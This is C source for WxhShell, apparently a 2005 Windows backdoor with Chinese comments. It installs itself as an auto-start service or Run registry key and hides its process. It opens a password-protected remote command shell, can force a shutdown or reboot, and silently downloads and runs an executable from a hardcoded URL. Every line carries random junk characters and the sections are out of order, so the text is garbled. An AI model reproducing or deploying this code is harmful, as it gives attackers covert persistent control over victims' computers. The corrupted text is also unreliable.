    break; aK]H(F2#  
    } XX'mM v  
  // 关机 L+Q.y~  
  case 'd': { c4iGtW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }5=tUfh)]'  
    if(Boot(SHUTDOWN)) li&&[=6A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )BmO[AiOM  
    else { p* tAwl  
    closesocket(wsh); 6MmkEU z  
    ExitThread(0); 5^Ps(8VbS  
    } &5Huv?^a'  
    break; t{Z:N']H  
    } F1NYpCR  
  // 获取shell qHE(p+]E  
  case 's': { frUO+  
    CmdShell(wsh); nE=,=K~  
    closesocket(wsh); A;gU@8m  
    ExitThread(0); e2"gzZ4;g  
    break; aUbmEHFTV  
  } *V?p&/>MT  
  // 退出 1Ts$kdO  
  case 'x': { \kG;T=H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?K= X[  
    CloseIt(wsh); %Mr^~7nN  
    break; !@9G9<NK  
    } ,Kwtp)EX  
  // 离开 15CKcM6  
  case 'q': { L]{1@~E:q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M`tNYs]V  
    closesocket(wsh); NH;.!x q:  
    WSACleanup(); rf YFS96  
    exit(1); &nfGRb  
    break; L[O.]2  
        } ~JG\b?s  
  } Qb?e A  
  } st wxF?\NS  
.a7!*I#g  
  // 提示信息 E[2xo/H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l G $s(  
} g @qrVQv  
  } h4tAaPcS+  
;CLOZ{  
  return; @aUQy;  
} E{xcu9  
/eY}0q%  
// shell模块句柄 :bu]gj4e  
int CmdShell(SOCKET sock) ><H*T{ Pg  
{ M&^Iun  
STARTUPINFO si; 1XJLGMW,  
ZeroMemory(&si,sizeof(si)); Wph@LRB]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mH /9J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z^O_7I<5E  
PROCESS_INFORMATION ProcessInfo; wOF";0EN  
char cmdline[]="cmd"; (X~JTH:e/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z65Q"A  
  return 0; vY2^*3\<D  
} m.w.h^f$&  
y8$I=  
// 自身启动模式 ?V' zG&n@  
int StartFromService(void) cA{7*=G?  
{ J1"16Uu  
typedef struct wAF<_NG#  
{ J3c8WS{:  
  DWORD ExitStatus; Zce/&  
  DWORD PebBaseAddress; l'twy$V4|~  
  DWORD AffinityMask; ayr CLv  
  DWORD BasePriority; ;%!]C0 ?  
  ULONG UniqueProcessId; $HP<C>^Z8  
  ULONG InheritedFromUniqueProcessId; VRD:PVz  
}   PROCESS_BASIC_INFORMATION; ]La~Bh6;m  
 |: ,i  
PROCNTQSIP NtQueryInformationProcess; fzjAP7 y  
GEtzLaq<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9qI#vHA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P~M<OUg  
"g:1br?X,9  
  HANDLE             hProcess; !U4<4<+  
  PROCESS_BASIC_INFORMATION pbi; jP}Ix8vc=  
#}S<O_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R?iC"s!  
  if(NULL == hInst ) return 0; T.pc3+B8N  
THY=8&x)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s5J?,xu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2k M;7:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4x|\xg( l  
4KB>O)YNg'  
  if (!NtQueryInformationProcess) return 0; W[t0hbV w  
Pzte!]B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sc9}W U  
  if(!hProcess) return 0; bPVQ-  
v/x~L$[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R3hyz~\x&  
PauF)p  
  CloseHandle(hProcess); &n~v;M  
/&+*X)#v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;|pw;-  
if(hProcess==NULL) return 0; U5ME`lN*`  
85qD~o?O  
HMODULE hMod; d[`vd^hI  
char procName[255]; +'{d^-( (  
unsigned long cbNeeded; 1"f)\FPGe  
v \dP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {'z(  
|vtj0 ,[  
  CloseHandle(hProcess); wyB  
$[V-M\q  
if(strstr(procName,"services")) return 1; // 以服务启动 2Z+:^5  
*9tRh Rc  
  return 0; // 注册表启动 _&e$?hY  
} 7'.]fs:  
^NXxMC( e+  
// 主模块 ]h%~'8g,  
int StartWxhshell(LPSTR lpCmdLine) *AJYSa,z  
{ B3&C=*y  
  SOCKET wsl; {ep.So6  
BOOL val=TRUE; X.eocy  
  int port=0; S`pBEM  
  struct sockaddr_in door; C_;A~iI7  
dfT  
  if(wscfg.ws_autoins) Install(); 4(&sw<k  
ffR<G&"n~b  
port=atoi(lpCmdLine); Z $Fm73  
Y3O/`-9i  
if(port<=0) port=wscfg.ws_port; rw.DKM'  
rIeOli:<  
  WSADATA data; LC})aV|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wo{4*~f  
nQ#NW8*Fs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZoR6f\2M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); { t@7r  
  door.sin_family = AF_INET; 6[Wv g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DLO2$d  
  door.sin_port = htons(port); h^'+y1  
_b9>ZF~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rA /T>ZM  
closesocket(wsl); eFC~&L;  
return 1; X#Hl<d2  
} `\yQn7 Oq  
Qv]>L4PO  
  if(listen(wsl,2) == INVALID_SOCKET) { _2X6c,  
closesocket(wsl); *_@$ "9  
return 1; X3m)  
} xE- _Fv9  
  Wxhshell(wsl); LoW}!,|  
  WSACleanup(); <Aqo[']  
x:+]^?}r  
return 0; (} wMU]!_  
BG/RNem  
} 6iS7Hao"  
HL%|DCo  
// 以NT服务方式启动 ,L\>mGw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) up2wkc8  
{ <OTx79m  
DWORD   status = 0; O? 0`QMY  
  DWORD   specificError = 0xfffffff; q +!i6!6r  
c~u91h?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !M}ZK(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YL/B7^fd8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hb\['VhzM  
  serviceStatus.dwWin32ExitCode     = 0; t:YMF$Z  
  serviceStatus.dwServiceSpecificExitCode = 0; KM/c^ a4V  
  serviceStatus.dwCheckPoint       = 0; ufJHC06  
  serviceStatus.dwWaitHint       = 0; q<Y#-Io%3  
|%@pjJ`3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9\>{1"a  
  if (hServiceStatusHandle==0) return; Sb^o`~ Eh  
^1bM=9]F0  
status = GetLastError(); XA\wZV |{  
  if (status!=NO_ERROR) V W(+sSQ  
{ U% OlYP$g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q-KBQc  
    serviceStatus.dwCheckPoint       = 0; fvRqt)Ks  
    serviceStatus.dwWaitHint       = 0; H^+Znmo  
    serviceStatus.dwWin32ExitCode     = status; e17]{6y  
    serviceStatus.dwServiceSpecificExitCode = specificError;  NmTo/5s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQAiuea  
    return; vG~JK[  
  } s#FX2r3=Fg  
;N!opg))d<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o,'Fz?[T%  
  serviceStatus.dwCheckPoint       = 0;  CP Ju=  
  serviceStatus.dwWaitHint       = 0; g/gaPc*86  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lT_dzO  
} e6Kyu*  
QObHW[:F  
// 处理NT服务事件,比如:启动、停止 5ljEh -  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V`}u:t7r  
{ @zT2!C?^L  
switch(fdwControl) ak zKX}  
{ c]NZG n*  
case SERVICE_CONTROL_STOP: 1cD  
  serviceStatus.dwWin32ExitCode = 0; ~)*uJ wW/a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gnlU  
  serviceStatus.dwCheckPoint   = 0; ;&XC*R+  
  serviceStatus.dwWaitHint     = 0; i<*W,D6  
  { meZZQ:eSl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c9Q_Qr0'  
  } k0,]2R  
  return; ;_m; :<  
case SERVICE_CONTROL_PAUSE: V!QC.D<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d'[q2y?6N  
  break; 8zQN[[#n  
case SERVICE_CONTROL_CONTINUE: o@ @|4 F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^M+aQg%  
  break; 0P;\ :-&p  
case SERVICE_CONTROL_INTERROGATE: (?ZS 9&y}  
  break; Se>v|6  
}; UL" M?).5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5YLc4z*  
} qfF2S  
lqvP Dz  
// 标准应用程序主函数 . dJBv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4jC7>mE  
{ >XW-W  
D[` ~=y(  
// 获取操作系统版本 -fOBM 4  
OsIsNt=GetOsVer(); @ X5#?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~'N+O K  
`Dp4Z>| K  
  // 从命令行安装 f& Vx`oj  
  if(strpbrk(lpCmdLine,"iI")) Install(); &U\//   
`o21f{1]X&  
  // 下载执行文件 nGxG!  
if(wscfg.ws_downexe) { T$Z}1e]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]j]<CqG  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kxi@"<`S  
} 63kZ#5g(Dw  
TjOK8 t  
if(!OsIsNt) { rq:sy=;  
// 如果时win9x,隐藏进程并且设置为注册表启动 s`=&l  
HideProc(); !{vZvy"  
StartWxhshell(lpCmdLine); Pb<6-Jc[  
} on 4 $n7  
else 6E9o*YSk  
  if(StartFromService()) @>+`1C  
  // 以服务方式启动 5m\)82s  
  StartServiceCtrlDispatcher(DispatchTable); 5>h/LE]"  
else "8E=*2fcw  
  // 普通方式启动 =.qPjp_Qd  
  StartWxhshell(lpCmdLine); 37 *2/N2  
X39%O'  
return 0; ,_ @) IN  
} Uurpho_~  
=KHX_ib  
{Rn*)D9  
@_?Uowc8  
=========================================== zKThM#.Wa  
jWso'K  
y0'WB`hNQ  
I(<Trn  
'N`x@(  
!w/]V{9`X  
" =69sWcC8  
;8w CQ  
#include <stdio.h> N!<X% Ym  
#include <string.h> 6\? 2=dNX  
#include <windows.h> f;!L\$yKy  
#include <winsock2.h> |(uo@-U  
#include <winsvc.h> V-18~+F~"a  
#include <urlmon.h> n!U1cB{  
6n H'NNS:J  
#pragma comment (lib, "Ws2_32.lib") s\(@f4p  
#pragma comment (lib, "urlmon.lib") -c#vWuLl  
c_Iq!MH  
#define MAX_USER   100 // 最大客户端连接数  ~;uU{TT  
#define BUF_SOCK   200 // sock buffer G6qFAepwi  
#define KEY_BUFF   255 // 输入 buffer }S{VR(i`J  
lYU?j|n  
#define REBOOT     0   // 重启 6iY(RYZ7-  
#define SHUTDOWN   1   // 关机 5kCXy$"%  
nLR   
#define DEF_PORT   5000 // 监听端口 % @!hf!  
h<7@3Ur  
#define REG_LEN     16   // 注册表键长度 zr wzI+4  
#define SVC_LEN     80   // NT服务名长度 zuF]E+  
lU`t~|>r+  
// 从dll定义API uJa.]J~L=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <&HHo>rl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]+>Kl>@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0CI\Yd=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %K0Wm#)  
jVna;o)  
// wxhshell配置信息 #-l+c u{  
struct WSCFG { =[0| qGzg  
  int ws_port;         // 监听端口 q-S#[I+g  
  char ws_passstr[REG_LEN]; // 口令 ]2_=(N\Kt  
  int ws_autoins;       // 安装标记, 1=yes 0=no /xd|mo)D  
  char ws_regname[REG_LEN]; // 注册表键名 cDz^jC   
  char ws_svcname[REG_LEN]; // 服务名 C1OiMb(:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ ZN@EOM$+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +ijxv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ *A!@T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T%E/k# )q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NKiWt Z"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [}5mi?v  
J^zB 5W,)  
}; M]xfH*  
I(j$^DA.  
// default Wxhshell configuration <(1[n pS&+  
struct WSCFG wscfg={DEF_PORT, (Mw+SM3<  
    "xuhuanlingzhe", w,t !<i  
    1, I(b]V!mj:  
    "Wxhshell", NzS`s,N4/0  
    "Wxhshell", uW4.Q_O!H  
            "WxhShell Service", 0XI6gPo%  
    "Wrsky Windows CmdShell Service", K*M1$@5  
    "Please Input Your Password: ", UD Pn4q  
  1, h r6?9RJY  
  "http://www.wrsky.com/wxhshell.exe", (UZ].+)s  
  "Wxhshell.exe" "YVr/u  
    }; Y4[oa?G  
k h6n(B\  
// 消息定义模块 &,* ILz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1JV-X G6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *DQa6,b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /)sP<WPQ 6  
char *msg_ws_ext="\n\rExit."; F6_e n z  
char *msg_ws_end="\n\rQuit."; '_ys4hz}  
char *msg_ws_boot="\n\rReboot..."; %8>0;ktU  
char *msg_ws_poff="\n\rShutdown..."; B/Ltb^a  
char *msg_ws_down="\n\rSave to "; s0DT1s&  
'f8'|o)  
char *msg_ws_err="\n\rErr!"; ;_0frX  
char *msg_ws_ok="\n\rOK!"; c7nbHJi  
 vSo1WS  
char ExeFile[MAX_PATH]; ,lVQ-qw5  
int nUser = 0; @Thrizh  
HANDLE handles[MAX_USER]; .etG>tH  
int OsIsNt; z6|kEc"{  
@S 0mNA  
SERVICE_STATUS       serviceStatus; CtZOIx.;|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \5j#ad  
#$l:%  
// 函数声明 -] G=Q1 1  
int Install(void); X2{Aa T*M  
int Uninstall(void); )[ejb?{d  
int DownloadFile(char *sURL, SOCKET wsh); tRNMiU  
int Boot(int flag); TgKSE1  
void HideProc(void); V;hO1xfR3&  
int GetOsVer(void); Uy@:-NC)kn  
int Wxhshell(SOCKET wsl); WT}x Cni  
void TalkWithClient(void *cs); un}!&*+  
int CmdShell(SOCKET sock); D'#,%4P,e\  
int StartFromService(void); `rV -,-r@  
int StartWxhshell(LPSTR lpCmdLine); )_}xK={  
f/"IC;<~t>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FytGg[#]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WA.c.{w\  
t ;fJ`.  
// 数据结构和表定义 %AA -G  
SERVICE_TABLE_ENTRY DispatchTable[] = 5Ha(i [d  
{ fP 3t0cp  
{wscfg.ws_svcname, NTServiceMain}, PJ,G_+b!  
{NULL, NULL} (-VH=,Md  
}; B;nIKZ  
3,J{!  
// 自我安装 V;gC[7H  
int Install(void) L1&` 3a?pL  
{ bGK-?BE5+A  
  char svExeFile[MAX_PATH]; ^ Z3y  
  HKEY key; &PX!'%X68h  
  strcpy(svExeFile,ExeFile); 'r1X6?d J  
:_Iz( 2hV  
// 如果是win9x系统,修改注册表设为自启动 u/xP$  
if(!OsIsNt) { i O$ ?No  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [7  t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C8=rsh  
  RegCloseKey(key); /l8w b~vl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&SSc@of  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9t8ccr  
  RegCloseKey(key); A,c_ME+DVB  
  return 0;  O`Htdnu  
    } ~*`wRiUhis  
  } O{Q+<fBC9  
} VBW][f  
else { ),$^h7[n  
!j3Xzn9  
// 如果是NT以上系统,安装为系统服务 R _2#7Xs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h!tg+9%  
if (schSCManager!=0) "![KQ  
{ c?6(mU\x  
  SC_HANDLE schService = CreateService F4:5 >*:  
  ( <3Rq!w/  
  schSCManager, q(BRJ(  
  wscfg.ws_svcname, ;Mr Q1  
  wscfg.ws_svcdisp, \"$q=%vD  
  SERVICE_ALL_ACCESS, HUbXJsSP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M7#CMLy  
  SERVICE_AUTO_START, 6=x]20  
  SERVICE_ERROR_NORMAL, hMgk+4*  
  svExeFile, Fxn=+Xgg  
  NULL, gx2v(1?S  
  NULL, D'Uc?2X,&  
  NULL, SCjVzvG$yg  
  NULL, 2o 7o~r  
  NULL BF"eVKA  
  ); %Rf{v5  
  if (schService!=0) 4-9cp=\PE  
  { "&\(:#L  
  CloseServiceHandle(schService); \aN5:Yy  
  CloseServiceHandle(schSCManager); p*JP='p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @P[%6 d  
  strcat(svExeFile,wscfg.ws_svcname); F5{GMn;j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rLbFaLeQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AP9\]qZ(7  
  RegCloseKey(key); m"o=R\C  
  return 0; Mb97S]878I  
    } Ifq|MZ\  
  } ~se ;L  
  CloseServiceHandle(schSCManager); mA #^Pv*  
} jU}  
} (1'sBm7F  
r^Soqom3  
return 1; @@}muW>;T  
} G#='*v OtO  
z; >O5a>z  
// 自我卸载 xX~m Fz0C  
int Uninstall(void) 5oOs.(m|*C  
{ tq*{Hil>P`  
  HKEY key; ;cb='s  
[?da BXS  
if(!OsIsNt) { :ra[e(l9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [mF=<G"  
  RegDeleteValue(key,wscfg.ws_regname); {@Z*.G^  
  RegCloseKey(key); {q&A/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bf[l4$3k  
  RegDeleteValue(key,wscfg.ws_regname); MN>U jFA  
  RegCloseKey(key); rWBgYh  
  return 0; $<f+CtD4  
  } z] |Y   
} qLB(Th\&'  
} 'NnmLM(oh  
else { T n,Ifo3  
2XeNE[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PG'I7)Bv  
if (schSCManager!=0) 2 xi@5;!  
{ W#^p%?8pR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?MiMwVR  
  if (schService!=0) " j:15m5  
  { _$v$v$74^  
  if(DeleteService(schService)!=0) { ^AO2%09.S  
  CloseServiceHandle(schService); xCMuq9zt@  
  CloseServiceHandle(schSCManager); C+gu'hD  
  return 0; 1i Q(q\%  
  } 5zt5]zl'  
  CloseServiceHandle(schService); l_2YPon  
  } h5))D!  
  CloseServiceHandle(schSCManager); +:z%#D  
} ?_/T$b ]  
} <"S/M]9  
JZ-M<rcC  
return 1; IZ]L.0,  
} $U%N$_k?  
.r@'9W^8  
// 从指定url下载文件 fXkemB^)_  
int DownloadFile(char *sURL, SOCKET wsh) GU)NZ[e  
{ Q\$cBSJC1  
  HRESULT hr; ralU9MN.  
char seps[]= "/"; hPUYq7B  
char *token; \0l"9 B.  
char *file; 3<6P^p=I  
char myURL[MAX_PATH]; (' i_Xe  
char myFILE[MAX_PATH]; s06R~P4  
yMf["AvG  
strcpy(myURL,sURL); iHyA;'!Os  
  token=strtok(myURL,seps); qV@Hu/;  
  while(token!=NULL) 3. g-V  
  { j<i: rk|  
    file=token; VHU,G+ms  
  token=strtok(NULL,seps); JZcW?Or  
  } r$Y% 15JV  
Umk!m] q  
GetCurrentDirectory(MAX_PATH,myFILE); B 6,X)  
strcat(myFILE, "\\"); Q__1QUu  
strcat(myFILE, file); i)d'l<RA  
  send(wsh,myFILE,strlen(myFILE),0); hC2Ra "te)  
send(wsh,"...",3,0); 8f#&CC!L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6z+*H7Qz  
  if(hr==S_OK) No)@#^  
return 0; f@IL2DL}\  
else GSg/I.)S  
return 1; N~ M-|^L  
VW9BQs2w  
} LtBm }0  
f.u[!T  
// 系统电源模块 I*8_5?)g<  
int Boot(int flag) a~[]Ye@H  
{ 26c1Yl,DMn  
  HANDLE hToken; C8 2lT_7"  
  TOKEN_PRIVILEGES tkp; [Uu!:SZ  
*:V"C\`^n  
  if(OsIsNt) { aAkO>X%[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1He'\/#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RIxGwMi%  
    tkp.PrivilegeCount = 1; @Tf5YZ*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XZ&q5]PJI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zDof e*  
if(flag==REBOOT) { ;+]GyDgVq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JxLD}$I  
  return 0; Nc:>]  
} \9dC z;  
else { 9#niMv9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }!RFX)T  
  return 0; ,LJX  
} _p=O*$b.  
  } K)t+lJ  
  else { }))JzrqAe  
if(flag==REBOOT) { To19=,:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m/W)IG>  
  return 0; %y;Cgo[  
} F>A&L8  
else { |(a< b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |JH1?n  
  return 0; A ZYu/k  
} ySwvjP7f  
} #N"K4@]{  
c>RS~/Y  
return 1; ~*h` ?A0  
} h+h`0(z  
p,+$7f1S  
// win9x进程隐藏模块 w">p 8  
void HideProc(void) I- X|-  
{ u!&Vbo? .B  
pjX')i<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ryp@<}A]!d  
  if ( hKernel != NULL ) -kd_gbnr3  
  { p<3^= 8Y$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j5;eSL@ /  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K"r'w8  P  
    FreeLibrary(hKernel); }x1*4+Y1  
  } rz%=qY  
]`x\Oj &  
return; 9 &~Rj 9  
} zy9# *gGq  
,kKMUshBi  
// 获取操作系统版本 |JW-P`tL0  
int GetOsVer(void) JY tM1d  
{ Pz1[ b$%  
  OSVERSIONINFO winfo; 0UvN ws  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bqAv)2  
  GetVersionEx(&winfo); $=GZ"%ED  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #:?vpV#i  
  return 1; :kDHwYv$  
  else jz2W/EE`w  
  return 0; QNH5Cq;Y  
} tA2I_W Cl  
-\!"Kz/  
// 客户端句柄模块 wZm=h8d  
int Wxhshell(SOCKET wsl) )_nc;&%w  
{ n1xN:A  
  SOCKET wsh; ?qt>;o|Ue  
  struct sockaddr_in client; 8j} CP  
  DWORD myID; 5M2G ;o  
5? `*i"  
  while(nUser<MAX_USER) W=Ru?sG=  
{ 4=>4fia&D  
  int nSize=sizeof(client); Py[Z9KLX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cM;& $IjCt  
  if(wsh==INVALID_SOCKET) return 1; ^L(}cO  
;$\d^i{N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "$tP>PO{<  
if(handles[nUser]==0) L;0ZB=3n  
  closesocket(wsh); X|F([,o  
else 'o2x7~C@  
  nUser++; bqxbOQd  
  } p`3pRrER  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }w&+ H28.#  
t YmR<^  
  return 0; ?2;r#)  
} E,nC}f  
7)NQK9~  
// 关闭 socket q8 ;WHfGf  
void CloseIt(SOCKET wsh) . 4"9o%  
{ NGlX%j4j  
closesocket(wsh); AoEG%nT  
nUser--; AopC xaJ`  
ExitThread(0); ui,#AZQ#{4  
} [*O#6Xu  
Kd _tjWS  
// 客户端请求句柄 {<a(1#{  
void TalkWithClient(void *cs) !'No5  
{ vb-L "S?kC  
/u }AgIb  
  SOCKET wsh=(SOCKET)cs; E3\O?+ h#  
  char pwd[SVC_LEN]; )x-iru A:  
  char cmd[KEY_BUFF]; BOLG#}sm  
char chr[1]; MmBM\Dnv  
int i,j; 2 fX-J  
+1 H.5|  
  while (nUser < MAX_USER) { ^<R*7mB*  
!+4}x;!8  
if(wscfg.ws_passstr) { y8Bi5Ae,+1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }MDuQP]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ->x+ p"  
  //ZeroMemory(pwd,KEY_BUFF); is%qG?,P  
      i=0; m?G}%u  
  while(i<SVC_LEN) { EAcJ>  
iO;q]  
  // 设置超时 DT_HG|  
  fd_set FdRead; (yduU  
  struct timeval TimeOut; uuzDu]Gwu  
  FD_ZERO(&FdRead); \Clz#k8l1  
  FD_SET(wsh,&FdRead); 0sq1SHI{  
  TimeOut.tv_sec=8; `J^J_s  
  TimeOut.tv_usec=0; a3L]'E'*#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O&=?,zLO[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sAIL+O  
6|m1z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x[3kCa|4A  
  pwd=chr[0]; -Rhxib|<  
  if(chr[0]==0xd || chr[0]==0xa) { xNTO59Y-s  
  pwd=0; n`T 4aDm  
  break; 2jf-vWV_  
  } (u-i{<   
  i++; nn"!x|c  
    } AA9OElCa  
: 2?J#/o  
  // 如果是非法用户,关闭 socket inavi5.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9)Y]05us  
} }> k9]Y  
3_2(L"S2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |,j6cFNw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .!Kdi|a)  
h[%`'(  
while(1) { 1sZwW P  
Xi_>hL+R(  
  ZeroMemory(cmd,KEY_BUFF); +I#5?  
KP7bU9odJ  
      // 自动支持客户端 telnet标准   |n3PznV  
  j=0; Re('7m h~  
  while(j<KEY_BUFF) { Xd>4n7nb$`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lNQt  
  cmd[j]=chr[0]; n *%<!\gJ  
  if(chr[0]==0xa || chr[0]==0xd) { 34 W#  
  cmd[j]=0; 2i#wJ8vrF  
  break; }`4o+  
  } o|Obl@CSBD  
  j++; fR}|CP  
    } M ]W'>g)G  
u4NMJnX  
  // 下载文件 PIn'tV  
  if(strstr(cmd,"http://")) { |Sy |E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J[;c}  
  if(DownloadFile(cmd,wsh)) H1f){L97wR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5.#r\' Z#  
  else LpJ\OI*v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )H#Hs<)Qy  
  } [[QrGJr  
  else { _wKFT>  
